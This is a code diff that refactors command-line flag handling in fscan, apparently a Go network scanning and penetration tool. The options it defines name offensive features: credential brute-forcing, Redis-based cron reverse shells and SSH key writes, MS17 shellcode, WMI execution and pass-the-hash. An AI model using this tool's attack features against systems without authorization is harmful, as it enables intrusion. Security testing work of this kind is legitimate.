TmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if _, ok := TmpUrls[url]; !ok {
|
||||
TmpUrls[url] = struct{}{}
|
||||
if url != "" {
|
||||
Urls = append(Urls, url)
|
||||
flags.Urls = append(flags.Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if UrlFile != "" {
|
||||
urls, err := Readfile(UrlFile)
|
||||
if flags.UrlFile != "" {
|
||||
urls, err := Readfile(flags.UrlFile)
|
||||
if err == nil {
|
||||
TmpUrls := make(map[string]struct{})
|
||||
for _, url := range urls {
|
||||
if _, ok := TmpUrls[url]; !ok {
|
||||
TmpUrls[url] = struct{}{}
|
||||
if url != "" {
|
||||
Urls = append(Urls, url)
|
||||
flags.Urls = append(flags.Urls, url)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if PortFile != "" {
|
||||
ports, err := Readfile(PortFile)
|
||||
if flags.PortFile != "" {
|
||||
ports, err := Readfile(flags.PortFile)
|
||||
if err == nil {
|
||||
newport := ""
|
||||
for _, port := range ports {
|
||||
@ -125,88 +130,84 @@ func Readfile(filename string) ([]string, error) {
|
||||
return content, nil
|
||||
}
|
||||
|
||||
func ParseInput(Info *HostInfo) {
|
||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
||||
func ParseInput(Info *HostInfo, flags *Flags) {
|
||||
if Info.Host == "" && flags.HostFile == "" && flags.URL == "" && flags.UrlFile == "" {
|
||||
fmt.Println("Host is none")
|
||||
flag.Usage()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if BruteThread <= 0 {
|
||||
BruteThread = 1
|
||||
}
|
||||
|
||||
if TmpSave == true {
|
||||
IsSave = false
|
||||
if flags.BruteThread <= 0 {
|
||||
flags.BruteThread = 1
|
||||
}
|
||||
|
||||
if Info.Ports == DefaultPorts {
|
||||
Info.Ports += "," + Webport
|
||||
}
|
||||
|
||||
if PortAdd != "" {
|
||||
if flags.PortAdd != "" {
|
||||
if strings.HasSuffix(Info.Ports, ",") {
|
||||
Info.Ports += PortAdd
|
||||
Info.Ports += flags.PortAdd
|
||||
} else {
|
||||
Info.Ports += "," + PortAdd
|
||||
Info.Ports += "," + flags.PortAdd
|
||||
}
|
||||
}
|
||||
|
||||
if UserAdd != "" {
|
||||
user := strings.Split(UserAdd, ",")
|
||||
if flags.UserAdd != "" {
|
||||
user := strings.Split(flags.UserAdd, ",")
|
||||
for a := range Userdict {
|
||||
Userdict[a] = append(Userdict[a], user...)
|
||||
Userdict[a] = RemoveDuplicate(Userdict[a])
|
||||
}
|
||||
}
|
||||
|
||||
if PassAdd != "" {
|
||||
pass := strings.Split(PassAdd, ",")
|
||||
if flags.PassAdd != "" {
|
||||
pass := strings.Split(flags.PassAdd, ",")
|
||||
Passwords = append(Passwords, pass...)
|
||||
Passwords = RemoveDuplicate(Passwords)
|
||||
}
|
||||
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(Socks5Proxy, ":") {
|
||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
||||
if flags.Socks5Proxy != "" && !strings.HasPrefix(flags.Socks5Proxy, "socks5://") {
|
||||
if !strings.Contains(flags.Socks5Proxy, ":") {
|
||||
flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy
|
||||
} else {
|
||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||
flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy
|
||||
}
|
||||
}
|
||||
if Socks5Proxy != "" {
|
||||
fmt.Println("Socks5Proxy:", Socks5Proxy)
|
||||
_, err := url.Parse(Socks5Proxy)
|
||||
if flags.Socks5Proxy != "" {
|
||||
fmt.Println("Socks5Proxy:", flags.Socks5Proxy)
|
||||
_, err := url.Parse(flags.Socks5Proxy)
|
||||
if err != nil {
|
||||
fmt.Println("Socks5Proxy parse error:", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
NoPing = true
|
||||
flags.NoPing = true
|
||||
}
|
||||
if Proxy != "" {
|
||||
if Proxy == "1" {
|
||||
Proxy = "http://127.0.0.1:8080"
|
||||
} else if Proxy == "2" {
|
||||
Proxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(Proxy, "://") {
|
||||
Proxy = "http://127.0.0.1:" + Proxy
|
||||
if flags.Proxy != "" {
|
||||
if flags.Proxy == "1" {
|
||||
flags.Proxy = "http://127.0.0.1:8080"
|
||||
} else if flags.Proxy == "2" {
|
||||
flags.Proxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(flags.Proxy, "://") {
|
||||
flags.Proxy = "http://127.0.0.1:" + flags.Proxy
|
||||
}
|
||||
fmt.Println("Proxy:", Proxy)
|
||||
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
|
||||
fmt.Println("Proxy:", flags.Proxy)
|
||||
if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") {
|
||||
fmt.Println("no support this proxy")
|
||||
os.Exit(0)
|
||||
}
|
||||
_, err := url.Parse(Proxy)
|
||||
_, err := url.Parse(flags.Proxy)
|
||||
if err != nil {
|
||||
fmt.Println("Proxy parse error:", err)
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
if Hash != "" && len(Hash) != 32 {
|
||||
if flags.Hash != "" && len(flags.Hash) != 32 {
|
||||
fmt.Println("[-] Hash is error,len(hash) must be 32")
|
||||
os.Exit(0)
|
||||
} else {
|
||||
var err error
|
||||
HashBytes, err = hex.DecodeString(Hash)
|
||||
flags.HashBytes, err = hex.DecodeString(flags.Hash)
|
||||
if err != nil {
|
||||
fmt.Println("[-] Hash is error,hex decode error")
|
||||
os.Exit(0)
|
||||
@ -214,13 +215,13 @@ func ParseInput(Info *HostInfo) {
|
||||
}
|
||||
}
|
||||
|
||||
func ParseScantype(Info *HostInfo) {
|
||||
_, ok := PORTList[Scantype]
|
||||
func ParseScantype(Info *HostInfo, flags *Flags) {
|
||||
_, ok := PORTList[flags.Scantype]
|
||||
if !ok {
|
||||
showmode()
|
||||
}
|
||||
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
||||
switch Scantype {
|
||||
if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
|
||||
switch flags.Scantype {
|
||||
case "wmiexec":
|
||||
Info.Ports = "135"
|
||||
case "wmiinfo":
|
||||
@ -244,10 +245,10 @@ func ParseScantype(Info *HostInfo) {
|
||||
case "main":
|
||||
Info.Ports = DefaultPorts
|
||||
default:
|
||||
port, _ := PORTList[Scantype]
|
||||
port, _ := PORTList[flags.Scantype]
|
||||
Info.Ports = strconv.Itoa(port)
|
||||
}
|
||||
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports)
|
||||
fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports)
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" +
|
||||
"192.168.1.1-192.168.255.255\n" +
|
||||
"192.168.1.1-255")
|
||||
|
||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||
hosts = ParseIPs(host)
|
||||
if filename != "" {
|
||||
var filehost []string
|
||||
filehost, _ = Readipfile(filename)
|
||||
filehost, _ = readipfile(hostPort, filename)
|
||||
hosts = append(hosts, filehost...)
|
||||
}
|
||||
|
||||
@ -55,7 +55,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
|
||||
}
|
||||
}
|
||||
hosts = RemoveDuplicate(hosts)
|
||||
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
|
||||
if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" {
|
||||
err = ParseIPErr
|
||||
}
|
||||
return
|
||||
@ -115,7 +115,8 @@ func parseIP2(host string) (hosts []string) {
|
||||
}
|
||||
|
||||
// 解析ip段: 192.168.111.1-255
|
||||
// 192.168.111.1-192.168.112.255
|
||||
//
|
||||
// 192.168.111.1-192.168.112.255
|
||||
func parseIP1(ip string) []string {
|
||||
IPRange := strings.Split(ip, "-")
|
||||
testIP := net.ParseIP(IPRange[0])
|
||||
@ -175,19 +176,22 @@ func IPRange(c *net.IPNet) string {
|
||||
}
|
||||
|
||||
// 按行读ip
|
||||
func Readipfile(filename string) ([]string, error) {
|
||||
func readipfile(hostPort *[]string, filename string) ([]string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
fmt.Printf("Open %s error, %v", filename, err)
|
||||
os.Exit(0)
|
||||
}
|
||||
defer file.Close()
|
||||
var content []string
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
scanner.Split(bufio.ScanLines)
|
||||
|
||||
var content []string
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line != "" {
|
||||
var hosts []string
|
||||
text := strings.Split(line, ":")
|
||||
if len(text) == 2 {
|
||||
port := strings.Split(text[1], " ")[0]
|
||||
@ -195,14 +199,14 @@ func Readipfile(filename string) ([]string, error) {
|
||||
if err != nil || (num < 1 || num > 65535) {
|
||||
continue
|
||||
}
|
||||
hosts := ParseIPs(text[0])
|
||||
hosts = ParseIPs(text[0])
|
||||
for _, host := range hosts {
|
||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
*hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port))
|
||||
}
|
||||
} else {
|
||||
host := ParseIPs(line)
|
||||
content = append(content, host...)
|
||||
hosts = ParseIPs(line)
|
||||
}
|
||||
content = append(content, hosts...)
|
||||
}
|
||||
}
|
||||
return content, nil
|
||||
|
@ -1,6 +1,5 @@
|
||||
package common
|
||||
|
||||
var version = "1.8.2"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
@ -42,16 +41,16 @@ var PORTList = map[string]int{
|
||||
"main": 0,
|
||||
}
|
||||
|
||||
var Outputfile = "result.txt"
|
||||
var IsSave = true
|
||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
HostPort []string // locks like dead varibale, I cannot file initialization of this variable
|
||||
}
|
||||
|
||||
type PocInfo struct {
|
||||
@ -60,55 +59,7 @@ type PocInfo struct {
|
||||
}
|
||||
|
||||
var (
|
||||
Path string
|
||||
Scantype string
|
||||
Command string
|
||||
SshKey string
|
||||
Domain string
|
||||
Username string
|
||||
Password string
|
||||
Proxy string
|
||||
Timeout int64 = 3
|
||||
WebTimeout int64 = 5
|
||||
TmpSave bool
|
||||
NoPing bool
|
||||
Ping bool
|
||||
Pocinfo PocInfo
|
||||
IsWebCan bool
|
||||
IsBrute bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
Userfile string
|
||||
Passfile string
|
||||
HostFile string
|
||||
PortFile string
|
||||
PocPath string
|
||||
Threads int
|
||||
URL string
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
NoHosts string
|
||||
SC string
|
||||
PortAdd string
|
||||
UserAdd string
|
||||
PassAdd string
|
||||
BruteThread int
|
||||
LiveTop int
|
||||
Socks5Proxy string
|
||||
Hash string
|
||||
HashBytes []byte
|
||||
HostPort []string
|
||||
IsWmi bool
|
||||
)
|
||||
|
||||
var (
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
DnsLog bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
CeyeDomain string
|
||||
ApiKey string
|
||||
Cookie string
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
Cookie string
|
||||
)
|
||||
|
176
common/flag.go
176
common/flag.go
@ -2,84 +2,118 @@ package common
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
go func() {
|
||||
for {
|
||||
GC()
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}()
|
||||
// todo make function
|
||||
type Flags struct {
|
||||
Path string
|
||||
Scantype string
|
||||
Command string
|
||||
SshKey string
|
||||
Domain string
|
||||
Username string
|
||||
Password string
|
||||
Proxy string
|
||||
Timeout int64
|
||||
WebTimeout int64
|
||||
NoPing bool
|
||||
Ping bool
|
||||
Pocinfo PocInfo
|
||||
IsWebCan bool
|
||||
IsBrute bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
Userfile string
|
||||
Passfile string
|
||||
HostFile string
|
||||
PortFile string
|
||||
PocPath string
|
||||
Threads int
|
||||
URL string
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
NoHosts string
|
||||
SC string
|
||||
PortAdd string
|
||||
UserAdd string
|
||||
PassAdd string
|
||||
BruteThread int
|
||||
LiveTop int
|
||||
Socks5Proxy string
|
||||
Hash string
|
||||
HashBytes []byte
|
||||
IsWmi bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
DnsLog bool
|
||||
}
|
||||
|
||||
func GC() {
|
||||
runtime.GC()
|
||||
debug.FreeOSMemory()
|
||||
// todo make function
|
||||
type LogConfig struct {
|
||||
Silent bool
|
||||
Outputfile string
|
||||
TmpSave bool
|
||||
WaitTime int64
|
||||
}
|
||||
|
||||
func Banner() {
|
||||
banner := `
|
||||
___ _
|
||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
fscan version: ` + version + `
|
||||
`
|
||||
print(banner)
|
||||
type InConfig struct {
|
||||
HostInfo HostInfo
|
||||
Flags Flags
|
||||
LogConfig LogConfig
|
||||
Cookie string
|
||||
}
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
||||
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
||||
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
||||
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
||||
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
|
||||
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||
flag.StringVar(&Domain, "domain", "", "smb domain")
|
||||
flag.StringVar(&Username, "user", "", "username")
|
||||
flag.StringVar(&Password, "pwd", "", "password")
|
||||
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
|
||||
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
|
||||
flag.IntVar(&Threads, "t", 600, "Thread nums")
|
||||
flag.IntVar(&LiveTop, "top", 10, "show live len top")
|
||||
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
|
||||
flag.StringVar(&Userfile, "userf", "", "username file")
|
||||
flag.StringVar(&Passfile, "pwdf", "", "password file")
|
||||
flag.StringVar(&PortFile, "portf", "", "Port File")
|
||||
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
|
||||
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
|
||||
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
|
||||
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
|
||||
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
|
||||
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
|
||||
flag.BoolVar(&NoPing, "np", false, "not to ping")
|
||||
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
|
||||
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
|
||||
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
|
||||
flag.BoolVar(&Silent, "silent", false, "silent scan")
|
||||
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
||||
flag.StringVar(&URL, "u", "", "url")
|
||||
flag.StringVar(&UrlFile, "uf", "", "urlfile")
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
||||
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
|
||||
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
|
||||
flag.IntVar(&PocNum, "num", 20, "poc rate")
|
||||
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
|
||||
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
|
||||
flag.StringVar(&Hash, "hash", "", "hash")
|
||||
func Flag(inConfig *InConfig) {
|
||||
flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
|
||||
flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
|
||||
|
||||
flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
|
||||
flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
|
||||
flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
|
||||
flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
|
||||
flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445")
|
||||
flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)")
|
||||
flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)")
|
||||
flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain")
|
||||
flag.StringVar(&inConfig.Flags.Username, "user", "", "username")
|
||||
flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password")
|
||||
flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout")
|
||||
flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout")
|
||||
flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh")
|
||||
flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path")
|
||||
flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums")
|
||||
flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top")
|
||||
flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt")
|
||||
flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file")
|
||||
flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file")
|
||||
flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File")
|
||||
flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path")
|
||||
flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
|
||||
flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
|
||||
flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul")
|
||||
flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password")
|
||||
flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads")
|
||||
flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping")
|
||||
flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp")
|
||||
flag.StringVar(&inConfig.Flags.URL, "u", "", "url")
|
||||
flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile")
|
||||
flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
|
||||
flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate")
|
||||
flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
|
||||
flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
|
||||
flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add")
|
||||
flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi")
|
||||
flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash")
|
||||
flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key")
|
||||
flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc")
|
||||
|
||||
flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile")
|
||||
flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log")
|
||||
flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr")
|
||||
flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan")
|
||||
|
||||
flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
|
||||
|
||||
flag.Parse()
|
||||
}
|
||||
|
@ -2,11 +2,12 @@ package common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
var Num int64
|
||||
@ -18,6 +19,7 @@ var LogErrTime int64
|
||||
var WaitTime int64
|
||||
var Silent bool
|
||||
var LogWG sync.WaitGroup
|
||||
var Outputfile string
|
||||
|
||||
func init() {
|
||||
LogSucTime = time.Now().Unix()
|
||||
|
@ -2,43 +2,47 @@ package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"golang.org/x/net/proxy"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/net/proxy"
|
||||
)
|
||||
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
return WrapperTCP(network, address, d)
|
||||
type Socks5 struct {
|
||||
Address string
|
||||
}
|
||||
|
||||
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
|
||||
func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) {
|
||||
d := &net.Dialer{Timeout: timeout}
|
||||
return WrapperTCP(network, address, socks5Proxy, d)
|
||||
}
|
||||
|
||||
func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) {
|
||||
//get conn
|
||||
var conn net.Conn
|
||||
if Socks5Proxy == "" {
|
||||
if socks5Proxy.Address == "" {
|
||||
var err error
|
||||
conn,err = forward.Dial(network, address)
|
||||
conn, err = forward.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}else {
|
||||
dailer, err := Socks5Dailer(forward)
|
||||
if err != nil{
|
||||
} else {
|
||||
dailer, err := Socks5Dailer(forward, socks5Proxy)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
conn,err = dailer.Dial(network, address)
|
||||
conn, err = dailer.Dial(network, address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return conn, nil
|
||||
|
||||
}
|
||||
|
||||
func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
|
||||
u,err := url.Parse(Socks5Proxy)
|
||||
func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) {
|
||||
u, err := url.Parse(socks5Proxy.Address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@ -51,10 +55,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
|
||||
if u.User.String() != "" {
|
||||
auth = proxy.Auth{}
|
||||
auth.User = u.User.Username()
|
||||
password,_ := u.User.Password()
|
||||
password, _ := u.User.Password()
|
||||
auth.Password = password
|
||||
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
|
||||
}else {
|
||||
} else {
|
||||
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
|
||||
}
|
||||
|
||||
|
11
main.go
11
main.go
@ -2,17 +2,18 @@ package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/Plugins"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
start := time.Now()
|
||||
var Info common.HostInfo
|
||||
common.Flag(&Info)
|
||||
common.Parse(&Info)
|
||||
Plugins.Scan(Info)
|
||||
var config common.InConfig
|
||||
common.Flag(&config)
|
||||
common.Parse(&config)
|
||||
Plugins.Scan(config.HostInfo, config.Flags)
|
||||
t := time.Now().Sub(start)
|
||||
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user